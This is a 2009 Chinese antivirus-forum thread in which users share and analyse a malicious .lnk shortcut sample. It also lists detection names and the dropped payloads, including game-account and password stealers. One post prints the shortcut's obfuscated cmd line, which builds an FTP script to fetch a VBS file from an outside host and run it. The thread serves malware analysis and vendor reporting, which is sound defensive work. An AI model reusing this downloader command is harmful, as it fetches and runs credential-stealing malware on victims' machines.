又收到可疑的...也許你也會收到!

显示全部楼层 · 发表于 2009-10-2 18:10:22

又收到壞人寄來的可疑檔
請大家協助分析

显示全部楼层 · 发表于 2009-10-2 18:12:37

%ComSpec% /c set i=p -s:s&set m=.g0&set n=z.co&set f=3&set e=echo &echo %e%o www%m%3%n%m^>s>c&echo %e%aa%f%3^>^>s>>c&echo %e%bb3%f%^>^>s>>c&echo %e%recv r r.vbs^>^>s>>c&echo %e%bye^>^>s>>c&echo ft%i%>>c&echo start r.vbs>>c&ren c l.bat&call l.bat&

复制代码

[ 本帖最后由 llzy3575 于 2009-10-2 18:13 编辑 ]

显示全部楼层 · 发表于 2009-10-2 18:31:46

C:\Documents and Settings\Administrator\桌面\bestwish.lnk - infected with modification of Trojan.DownLoad.42036

显示全部楼层 · 发表于 2009-10-2 18:54:03

To KL

显示全部楼层 · 发表于 2009-10-2 18:56:51

郁闷，红伞被过

显示全部楼层 · 发表于 2009-10-2 19:10:35

过360、微点

显示全部楼层 · 发表于 2009-10-2 19:48:27

是那个台湾流行的LNK下载者吧...

附上4个产物.
2 dll -- game thief
1 vbs -- ftp downloader
1 exe -- psw.ldpinch

[ 本帖最后由 hj5abc 于 2009-10-2 20:02 编辑 ]

显示全部楼层 · 发表于 2009-10-2 20:01:07

nis2010杀。。。

显示全部楼层 · 发表于 2009-10-2 20:03:43

用RTD S防御后会跳转到这个网页,其他一切正常

[ 本帖最后由 wptyh73hm 于 2009-10-2 20:05 编辑 ]

显示全部楼层 · 发表于 2009-10-2 20:07:24

to 360

[病毒样本] 又收到可疑的...也許你也會收到!